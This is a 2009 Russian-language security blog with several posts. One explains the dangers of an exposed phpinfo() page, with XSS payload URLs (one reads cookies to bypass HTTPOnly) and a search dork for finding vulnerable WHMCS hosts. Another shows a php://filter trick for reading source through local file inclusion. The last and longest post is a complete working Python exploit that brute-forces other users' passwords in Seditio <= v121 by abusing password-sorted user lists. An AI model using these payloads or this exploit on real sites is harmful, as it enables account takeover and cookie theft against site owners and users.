09.11.2009

Почему не стоит держать на сайте доступный для всех файл с phpinfo() ?



Нередко на веб-сайтах можно обнаружить php-файл содержащий одну-единственную php-функцию - phpinfo(). К тому же, файл этот обычно лежит в открытом доступе и имеет легкоподбираемое имя, например, phpinfo.php. При аудите веб-сайтов я постоянно встреачаю подобное и всегда рекомендую владельцам сайтов удалить/спрятать/переименовать этот файл. Почему?

Во-первых, это наверное всем известно, информация, содержащаяся в выводе phpinfo() нередко может помочь взломщику провести другие веб-атаки (например, из phpinfo() можно узнать полный путь до "DOCUMENT_ROOT" и использовать это при наличии sql-инъекции с чтением файлов, и т.д.).

Но phpinfo() опасна не только этим. Сама по себе эта функция в некоторых версях PHP содержит ошибки, которые можно использовать для проведения XSS. Поискав в гугле можно найти несколько оповещений об XSS-уязвимостиях в phpinfo():

PHP XSS exploit in phpinfo() by Silent Needle
PHP 4.4.3 - 4.4.6 phpinfo() Remote XSS Vulnerability by Stefan Esser
phpinfo() Cross Site Scripting PHP 5.1.2 and 4.4.2 by Maksymilian Arciemowicz
Тут китайцы показывают как можно провести атаку на IE7 через phpinfo() методом Algol'а

Очень часто файл с phpinfo() можно повстречать на сайтах хостеров, а некоторые организующие управление хостингом движки позволяют просматривать вывод phpinfo() всем желающим. Например, в WHMCompleteSolution получить вывод phpinfo() можно обратившись по адресу

http://vuln.site/status/index.php?action=phpinfo&xss[]=%3Cscript%3Ealert(/hi, i am xss!/)%3C/script%3E

Набрав в гугле запрос
"php version" inurl:status/index.php?action=phpinfo
можно быстро найти с десяток сайтов с WHMCompleteSolution и уязвимыми версиями PHP.
Кстати, XSS в phpinfo() можно использовать для обхода HTTPOnly, ведь содержимое cookies выводится на странице, и их можно взять из нее, не используя метод cookies:

http://vuln.site/phpinfo.php?xss[]=%3Cscript%3Ealert(document.getElementsByTagName('*')[xxx].innerHTML)%3C/script%3E

Значение 'xxx' в данном примерe - это номер элемента массива, возвращаемого методом getElementsByTagName, содержащий значение cookies.

29.08.2009

Чтение php-кода из файла при наличии LFI

Ну вот, заканчивается это замечательное лето (надеюсь, у вас оно тоже было замечательным), и похоже пасмурная осень не заставит себя долго ждать. Ну что ж, значит пришло время вернутся к своему ноуту и продолжить изучение интересующих меня вещей из мира ИТ. А это означает, что в этом бложике начнут, наконец, появляться новые заметки. ( : Начну я, пожалуй, с тех вещей о которых я все хотел, но забывал/забивал написать в течении последних нескольких месяцев.

Итак, это было небольшое лирическое отступление, а теперь перейду непосредственно к теме заметки.

Когда я описывал в заметке Self-contained RFI in PHP способ использования wrapper'а php://filter для кодирования php-кода веб-шелла, я упустил из виду одну интересную возможность, которую может дать использование этого wrapper'а при наличии RFI в коде атакуемого сайта, но невозможности эксплуатации уязвимости как RFI, а только как LFI, из-за allow_url_include = Off.

Иногда вместо выполнения php кода при инклуде, может оказаться полезным не выполнение, а чтение файла, содержащего php-код. А чтобы php-код не выполнился, мы можем закодирвать его с помощью php://filter. Например:

http://vuln.site/?lfi_here=php://filter/read=convert.base64-encode/resource=index.php

Затем остается лишь перекодировать выведенный закодированный base64-кодировкой текст обратно в php-код. Не забывайте только, что php://filter доступен в версиях PHP => 5.0.0.

Узнал я об этом трюке пару месяцев назад из заметки в блоге pragmatk'a. Если вам это пригодилось - шлите респекты ему. Да, и отдельное спасибо Qwazar'у за то, что напомнил мне об этом. ( ;

11.06.2009

Вышел Phrack #66 ( ;


Сегодня зарелизили Phrack #66, чему я весьма рад. Это уже пятый релиз этого езина, который я застал, и, должен заметить, журнал под руководством последнего редакторского состава, "Общества потерянных хакеров", становится действительно интереснее, по крайней мере, мне так кажется.

Помимо традиционно открывающих езин введения, новостей и профайла, а также, похоже, уже ставшей традиционной, заключительной статьи из серии "Hack your brain", в номер вошло 13 "технических" статей. Интересно, что авторы статей для этого номера phrack'a совершенно забили на Виндось - ни одной статьи о каких-нибудь хаках Windows-систем, что выглядит даже как-то странно. Впрочем, меня это не особо расстроило. ( ;

Итак, качаем свежий номер #66 с phrack.org!

Кстати, этот номер phrack'a его редакторы посвятили памяти безвременно ушедшего из жизни в мае этого года Cliph'а, известного исследователя безопасности Linux-систем, автора нескольких linux-kernel-эксплоитов...

03.05.2009

Seditio <= v121 User Password Dichotomic Bruteforce PoC Exploit

#!/usr/bin/env python

"""
Seditio <= v121 User Password Dichotomic Bruteforce PoC Exploit
by cr0w [ http://cr0w-at.blogspot.com ]

Vendor site: http://www.neocrome.net
Seditio v121 download link: http://www.neocrome.net/files/120/code/seditio-build121.rar

Based on vulnerability founded by Red_Red1. It was discussed here (in russian):
http://forum.antichat.ru/showthread.php?p=617264

More info about this web attack method you can find here (in russian):
http://cr0w-at.blogspot.com/2009/05/order-by-sql-1.html

"""

import re
import sys
import md5
import getopt
import urllib
import urllib2
import cookielib
from math import ceil

class Dicho:

def __init__(self, list):
self.count = 0
self.current_pos = None
self.list = list

def passwords(self): return self.list
def pass_len(self): return len(self.list)

def next_pass(self):
if len(self.list)<=2: return None
self.current_pos = int(ceil(len(self.list)/2))
self.count += 1
return self.list[self.current_pos]

def user_upper(self): self.list = self.list[self.current_pos:]
def target_upper(self): self.list = self.list[0:self.current_pos+1]


def usage():

print """
Seditio <= v121 User Password Dichotomic Bruteforce PoC Exploit\n
Usage:\n%s unsorted_passlist.txt [-o passlist.txt]
%s http://vuln.site -u user -p password -t target_user [-l passlist.txt]""" \
% (sys.argv[0], sys.argv[0])
sys.exit()


def sort_file(input_file, output_file):

print "[~] Passlist sorting"

try: words = [line.rstrip() for line in open(input_file)]
except: sys.exit("[!] Can't read " + input_file)
try: output = open(output_file, 'w')
except: sys.exit("[!] Can't open " + output_file)

words = map(lambda word: md5.new(word).hexdigest()+word, words)
words.sort()
[output.write(word[32:]+"\n") for word in words]

print u"[+] Done! Sorted passlist with %i words here: %s" % (len(words), output_file)
sys.exit()


def user_auth(user, password):

print "[~] Authorization"

data = urllib.urlencode(
{'rusername': user,
'rpassword': password,
'rcookiettl': '86400',
'x': 'GUEST'})

try:
req = urllib2.Request(url+"/users.php?m=auth&a=check&redirect=", data=data, headers=headers)
page = urllib2.urlopen(req)

if page.geturl().find('msg=104') > 5:
print u"[+] User %s logged" % user
return True
else:
print u"[-] User %s not logged" % user
return False
except:
print "[!] Can't authorize"
return False


def password_change(new_password):

global password
print u"[~] Password change from '%s' to '%s'" % (password, new_password),

try:
req = urllib2.Request(url+"/users.php?m=profile", headers=headers)
page = urllib2.urlopen(req).read()

x_value = re.search(r'<input type="hidden" id="x" name="x" value="(.*)" />', page).group(1)

data = urllib.urlencode({"rnewpass1": new_password,
"rnewpass2": new_password,
"x": x_value})

req = urllib2.Request(url+"/users.php?m=profile&a=update&x="+x_value, data=data, headers=headers)
page = urllib2.urlopen(req)

if page.geturl().find("msg=113") > 0:
print "[changed]"
password = new_password
except:
print "[-] Error: can't change password or something else"
sys.exit()


def parse_userlist(user, target_user):

d_value = 0
while d_value < 1000:
try:
req = urllib2.Request(
url+"/users.php?f="+f_value+"&s=password&w=asc&g=&gm=&d="+str(d_value),
headers=headers)
page = urllib2.urlopen(req).read()

users = re.findall(r'<a href="users.php\?m=details&amp;id=\d+">(.*)</a>', page)
if (user in users) and (target_user in users):
if users.index(user) < users.index(target_user): return user
else: return target_user
elif user in users: return user
elif target_user in users: return target_user
else:
d_value += 50
continue
raise Error
except:
print "[-] Error: can't parse userlist"
sys.exit()

# Defaults
headers = {}
sorted_file = 'passlist.txt'
pass_file = 'passlist.txt'


try: opts, args = getopt.getopt(sys.argv[2:], "o:u:p:t:l:")
except getopt.GetoptError, err: usage()
for opt, arg in opts:
if opt == '-o': sorted_file = arg
elif opt == '-u': user = arg
elif opt == '-p': password = arg
elif opt == '-t': target_user = arg
elif opt == '-l': pass_file = arg
else: usage()

try: sys.argv[1]
except: usage()

if sys.argv[1].startswith('http'): url = sys.argv[1]
else: sort_file(sys.argv[1], sorted_file)

first_pass = password[:]

if user[0:1].upper() == target_user[0:1].upper():
f_value = user[0:1].upper()
else: f_value = 'all'

try: dic = Dicho([line.rstrip() for line in open(pass_file)])
except: sys.exit("Can't open " + pass_file)

cookies = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookies))
urllib2.install_opener(opener)

if not user_auth(user, password):
print "[!] Can't authorize"
sys.exit()

while True:
new_pass = dic.next_pass()
if new_pass == None: break
print "[~] %i. %i passwords in memory" % (dic.count, dic.pass_len())
password_change(new_pass)
if parse_userlist(user, target_user) == user: dic.user_upper()
else: dic.target_upper()

print "[~] Return old password to %s" % user
password_change(first_pass)
cookies.clear()

for passwords in dic.passwords():
print u"[~] Trying password '%s' for %s" % (passwords, target_user)
if user_auth(target_user, passwords):
print "[+] Success!\a"
print u"\n[+] %s:%s" % (target_user, passwords)
sys.exit()

print u"\n[-] Password for %s not founded" % target_user

# by cr0w
# http://cr0w-at.blogspot.com